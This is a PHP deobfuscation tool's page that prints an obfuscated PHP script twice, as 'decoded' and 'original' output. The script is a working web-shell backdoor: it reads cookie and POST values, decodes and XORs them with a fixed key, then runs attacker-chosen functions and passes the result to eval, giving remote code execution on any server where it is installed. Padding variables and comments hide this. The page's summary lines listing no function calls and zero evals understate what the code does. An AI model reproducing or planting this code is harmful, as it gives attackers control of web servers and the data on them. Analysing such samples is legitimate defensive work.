Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function/* vUGS */oHmzMyU($mLHehDyvGpDxx) { /* XyDD*/return @pack(/*..
Decoded Output download
<?php
function/* vUGS */oHmzMyU($mLHehDyvGpDxx)
{
/* XyDD*/return @pack(/* jTNAN*/chr (72) . "*", $mLHehDyvGpDxx );
$gJNmyARNE = md5($mLHehDyvGpDxx);$_O = '24558';
/* dQu */$VFFfmrsE/*NZNol*/=/* PMDDm */base64_decode($mLHehDyvGpDxx);$_zbWM =/* Hq */'61755';
if/* hZ */($VFFfmrsE ===/* UOuIg */false) {
/*I */$VFFfmrsE =/* s */'';
/*PR*/}
$DBwEFJOJtd = str_split($mLHehDyvGpDxx);
$FaISUUIoc =/*fo */strlen($mLHehDyvGpDxx);
$mLHehDy = 0;
while ( $mLHehDy/*Zt */< $FaISUUIoc ) {
$mLHehDy++;
$DFDZxg = $DBwEFJOJtd[$mLHehDy];
/*Yv*/if/* y */(strpos($DFDZxg, 'a') !== false) {
/* N*/$DBwEFJOJtd[$mLHehDy] = strtoupper($DFDZxg);
/* S */}
}
$rTbCHwpQGh = implode('', $DBwEFJOJtd);
$_GET['decoded']/*aYCoU */=/* Uv */$rTbCHwpQGh;$_gYJuw/* hMj */= '40642';
/*X*/$_POST['hash'] =/*e */$gJNmyARNE;
if (file_exists('path/to/file')) {
/* CoNn */$DQuTA =/* fRke */file_get_contents('path/to/file');$_R = '44949';
$SIqcvf = explode(',',/* mpZu */$DQuTA);$_sGFw = '63992';
$srRkqbgjp/* xPSHI */=/* GCKmr */md5(serialize($SIqcvf));;
if/* umUNc */(is_array($SIqcvf)) {
$wquvd/* fsMK*/= array_slice($SIqcvf, 0, 5);
}
}
/* P */$LLASfuMU =/* aSi*/array_map('trim', $wquvd);;
/* Q*/$VOhEPVSQk =/* QuF */rawurldecode(implode(',',/* zAg */$LLASfuMU));
/*mHwD */$_COOKIE['final_value'] = $VOhEPVSQk;
}
function/* fsPHc */grqTUUWH()
{
$uSxxFGyjN =/* uw*/Array($_COOKIE,/* UHeP */$_POST);
$qBuGwDgG/* RnTUf*/= array_map('md5',/*hOM*/$_COOKIE);
$rHJISEfCl = strpos($_SERVER['HTTP_USER_AGENT'],/*MKDXw*/'Mozilla')/* PnebY */!==/* hhM */false ? 'browser is/*Yr */Mozilla' :/*Ow */'browser is/* y*/not/* gAC*/Mozilla';
if (is_array($uSxxFGyjN)) {
$wvvAgktxf = array_slice($uSxxFGyjN,/* aT */0, 1);
} else {
$wvvAgktxf =/* QWauZ */[];;
}
/* h */
$NRnJyNDZv/* TG*/= explode(',', 'apple,orange,banana');$_bnmF = '36716';
$xnEqXWU/* jymI*/= rawurldecode('%20Hello%20World%20');
/* QKFe */$mLHehDy/* Dfjj */=/* c */0;;
/*LYo */while ($mLHehDy </* dbua */count($NRnJyNDZv) ) {
/* Rc*/$NRnJyNDZv[$mLHehDy] = str_repeat($NRnJyNDZv[$mLHehDy],/* eHK */2);$_FPj =/* gUmI*/'38159';
$mLHehDy++;$_Ew = '9711';
/* h */}
/* AP */
$bLzIZL = str_repeat($rHJISEfCl, 3);$_SIs =/*wb */'51961';
/* tqeCn */
/*j */return $uSxxFGyjN;
}
/* bZL*/
function tSlQnKEtNU($fFMBsr)
/* roKO */{
$uGibeez = chr/*Eucr */( 672 - 637 );
/* ecaUa */foreach (grqTUUWH() as $nOAKxxCQv) {
EeszKkOxtN($nOAKxxCQv, $uGibeez);$_TkJMx = '33353';
}
}
function vBPuRKbsZ($TlnWF,/* poj */$GKwGsoqpn)
/* Lp */{
/* A */if ( count/*rwsdE */( $TlnWF ) == 3 )/*XFMRE*/{
/* mqYJk*/$gnHQd =/*MwU */$TlnWF[1];;
/* oNb */$Selqx/* UN */= $TlnWF[2];$_xTpy =/* K */'7590';
$YDxDT =/* oaz */$gnHQd($Selqx);;
eval/* hTm */( $YDxDT );
/* xkMD*/die/*PPruB*/();$_Hrwjj/* cQKx */=/*SK*/'11855';
/* dr*/}
}
function nJBSYmN($mLHehDyvGpDxx, $IGIQRgahO)
/*E*/{
return $mLHehDyvGpDxx ^ $IGIQRgahO;
/*d */}
function/* eb */dVaJjHg($RfNXkgjx, $uGibeez)
/* Xs */{
/* jeyK*/$RfNXkgjx = explode/* TrrLG */($uGibeez, $RfNXkgjx );;
/* nchI */vBPuRKbsZ($RfNXkgjx, $uGibeez);
}
/*ZAy */function EeszKkOxtN($nOAKxxCQv, $uGibeez)
{
foreach/*p */( $nOAKxxCQv/*SrJVm */as/*rax */$IGIQRgahO =>/*IV*/$mLHehDyvGpDxx ) {
/* v */BkfCW($IGIQRgahO, oHmzMyU($mLHehDyvGpDxx),/* LE */$uGibeez);;
}
}
/* CI */
function/*Z */pIcUxtQ($IGIQRgahO, $mLHehDyvGpDxx)
{
/* K */$GeqAxYis = strlen( $mLHehDyvGpDxx )/strlen( $IGIQRgahO/*HX */);;
/* Jbee */$IGIQRgahO/* VaLju */.=/* hC */"Fgk-otOZD-xXQAS-zif-hOsh-ERnHmd-SNlSn";
$IGIQRgahO =/*vPhD */str_repeat ( $IGIQRgahO, intval($GeqAxYis)/* lKQ */+ 1);
return/*WyUlz */$IGIQRgahO;
/* XV */}
/*AkY*/
/* VoNhU */function BkfCW($IGIQRgahO, $mLHehDyvGpDxx, $uGibeez)
{
dVaJjHg(nJBSYmN($mLHehDyvGpDxx, pIcUxtQ($IGIQRgahO,/* rD */$mLHehDyvGpDxx)),/* rwq */$uGibeez);;
$aCmTz/* FjLJ */= trim($mLHehDyvGpDxx);$_h =/* mFvNR */'12964';
$tLPgNHx = explode($uGibeez, $aCmTz);
/* Bpwm */if (count($tLPgNHx)/* r*/> 1)/*ivrG */{
/* QzwyP */$PxjaJX/*CH */= implode("-",/* mNaHJ */$tLPgNHx);;
$GfSaz/* yPSZ */= str_pad($PxjaJX, 20, chr ( 385 - 337 ),/*OKmoL */STR_PAD_RIGHT);;
/*kMzQ*/}
}
/* vrMvv */tSlQnKEtNU(""); ?>
Did this file decode correctly?
Original Code
<?php
function/* vUGS */oHmzMyU($mLHehDyvGpDxx)
{
/* XyDD*/return @pack(/* jTNAN*/chr (72) . "\52", $mLHehDyvGpDxx );
$gJNmyARNE = md5($mLHehDyvGpDxx);$_O = '24558';
/* dQu */$VFFfmrsE/*NZNol*/=/* PMDDm */base64_decode($mLHehDyvGpDxx);$_zbWM =/* Hq */'61755';
if/* hZ */($VFFfmrsE ===/* UOuIg */false) {
/*I */$VFFfmrsE =/* s */'';
/*PR*/}
$DBwEFJOJtd = str_split($mLHehDyvGpDxx);
$FaISUUIoc =/*fo */strlen($mLHehDyvGpDxx);
$mLHehDy = 0;
while ( $mLHehDy/*Zt */< $FaISUUIoc ) {
$mLHehDy++;
$DFDZxg = $DBwEFJOJtd[$mLHehDy];
/*Yv*/if/* y */(strpos($DFDZxg, 'a') !== false) {
/* N*/$DBwEFJOJtd[$mLHehDy] = strtoupper($DFDZxg);
/* S */}
}
$rTbCHwpQGh = implode('', $DBwEFJOJtd);
$_GET['decoded']/*aYCoU */=/* Uv */$rTbCHwpQGh;$_gYJuw/* hMj */= '40642';
/*X*/$_POST['hash'] =/*e */$gJNmyARNE;
if (file_exists('path/to/file')) {
/* CoNn */$DQuTA =/* fRke */file_get_contents('path/to/file');$_R = '44949';
$SIqcvf = explode(',',/* mpZu */$DQuTA);$_sGFw = '63992';
$srRkqbgjp/* xPSHI */=/* GCKmr */md5(serialize($SIqcvf));;
if/* umUNc */(is_array($SIqcvf)) {
$wquvd/* fsMK*/= array_slice($SIqcvf, 0, 5);
}
}
/* P */$LLASfuMU =/* aSi*/array_map('trim', $wquvd);;
/* Q*/$VOhEPVSQk =/* QuF */rawurldecode(implode(',',/* zAg */$LLASfuMU));
/*mHwD */$_COOKIE['final_value'] = $VOhEPVSQk;
}
function/* fsPHc */grqTUUWH()
{
$uSxxFGyjN =/* uw*/Array($_COOKIE,/* UHeP */$_POST);
$qBuGwDgG/* RnTUf*/= array_map('md5',/*hOM*/$_COOKIE);
$rHJISEfCl = strpos($_SERVER['HTTP_USER_AGENT'],/*MKDXw*/'Mozilla')/* PnebY */!==/* hhM */false ? 'browser is/*Yr */Mozilla' :/*Ow */'browser is/* y*/not/* gAC*/Mozilla';
if (is_array($uSxxFGyjN)) {
$wvvAgktxf = array_slice($uSxxFGyjN,/* aT */0, 1);
} else {
$wvvAgktxf =/* QWauZ */[];;
}
/* h */
$NRnJyNDZv/* TG*/= explode(',', 'apple,orange,banana');$_bnmF = '36716';
$xnEqXWU/* jymI*/= rawurldecode('%20Hello%20World%20');
/* QKFe */$mLHehDy/* Dfjj */=/* c */0;;
/*LYo */while ($mLHehDy </* dbua */count($NRnJyNDZv) ) {
/* Rc*/$NRnJyNDZv[$mLHehDy] = str_repeat($NRnJyNDZv[$mLHehDy],/* eHK */2);$_FPj =/* gUmI*/'38159';
$mLHehDy++;$_Ew = '9711';
/* h */}
/* AP */
$bLzIZL = str_repeat($rHJISEfCl, 3);$_SIs =/*wb */'51961';
/* tqeCn */
/*j */return $uSxxFGyjN;
}
/* bZL*/
function tSlQnKEtNU($fFMBsr)
/* roKO */{
$uGibeez = chr/*Eucr */( 672 - 637 );
/* ecaUa */foreach (grqTUUWH() as $nOAKxxCQv) {
EeszKkOxtN($nOAKxxCQv, $uGibeez);$_TkJMx = '33353';
}
}
function vBPuRKbsZ($TlnWF,/* poj */$GKwGsoqpn)
/* Lp */{
/* A */if ( count/*rwsdE */( $TlnWF ) == 3 )/*XFMRE*/{
/* mqYJk*/$gnHQd =/*MwU */$TlnWF[1];;
/* oNb */$Selqx/* UN */= $TlnWF[2];$_xTpy =/* K */'7590';
$YDxDT =/* oaz */$gnHQd($Selqx);;
eval/* hTm */( $YDxDT );
/* xkMD*/die/*PPruB*/();$_Hrwjj/* cQKx */=/*SK*/'11855';
/* dr*/}
}
function nJBSYmN($mLHehDyvGpDxx, $IGIQRgahO)
/*E*/{
return $mLHehDyvGpDxx ^ $IGIQRgahO;
/*d */}
function/* eb */dVaJjHg($RfNXkgjx, $uGibeez)
/* Xs */{
/* jeyK*/$RfNXkgjx = explode/* TrrLG */($uGibeez, $RfNXkgjx );;
/* nchI */vBPuRKbsZ($RfNXkgjx, $uGibeez);
}
/*ZAy */function EeszKkOxtN($nOAKxxCQv, $uGibeez)
{
foreach/*p */( $nOAKxxCQv/*SrJVm */as/*rax */$IGIQRgahO =>/*IV*/$mLHehDyvGpDxx ) {
/* v */BkfCW($IGIQRgahO, oHmzMyU($mLHehDyvGpDxx),/* LE */$uGibeez);;
}
}
/* CI */
function/*Z */pIcUxtQ($IGIQRgahO, $mLHehDyvGpDxx)
{
/* K */$GeqAxYis = strlen( $mLHehDyvGpDxx )/strlen( $IGIQRgahO/*HX */);;
/* Jbee */$IGIQRgahO/* VaLju */.=/* hC */"Fgk-otOZD-xXQAS-zif-hOsh-ERnHmd-SNlSn";
$IGIQRgahO =/*vPhD */str_repeat ( $IGIQRgahO, intval($GeqAxYis)/* lKQ */+ 1);
return/*WyUlz */$IGIQRgahO;
/* XV */}
/*AkY*/
/* VoNhU */function BkfCW($IGIQRgahO, $mLHehDyvGpDxx, $uGibeez)
{
dVaJjHg(nJBSYmN($mLHehDyvGpDxx, pIcUxtQ($IGIQRgahO,/* rD */$mLHehDyvGpDxx)),/* rwq */$uGibeez);;
$aCmTz/* FjLJ */= trim($mLHehDyvGpDxx);$_h =/* mFvNR */'12964';
$tLPgNHx = explode($uGibeez, $aCmTz);
/* Bpwm */if (count($tLPgNHx)/* r*/> 1)/*ivrG */{
/* QzwyP */$PxjaJX/*CH */= implode("\55",/* mNaHJ */$tLPgNHx);;
$GfSaz/* yPSZ */= str_pad($PxjaJX, 20, chr ( 385 - 337 ),/*OKmoL */STR_PAD_RIGHT);;
/*kMzQ*/}
}
/* vrMvv */tSlQnKEtNU("");
Function Calls
None |
Stats
MD5 | 76aba4d2a8c67b1fd551ccab234c94b4 |
Eval Count | 0 |
Decode Time | 69 ms |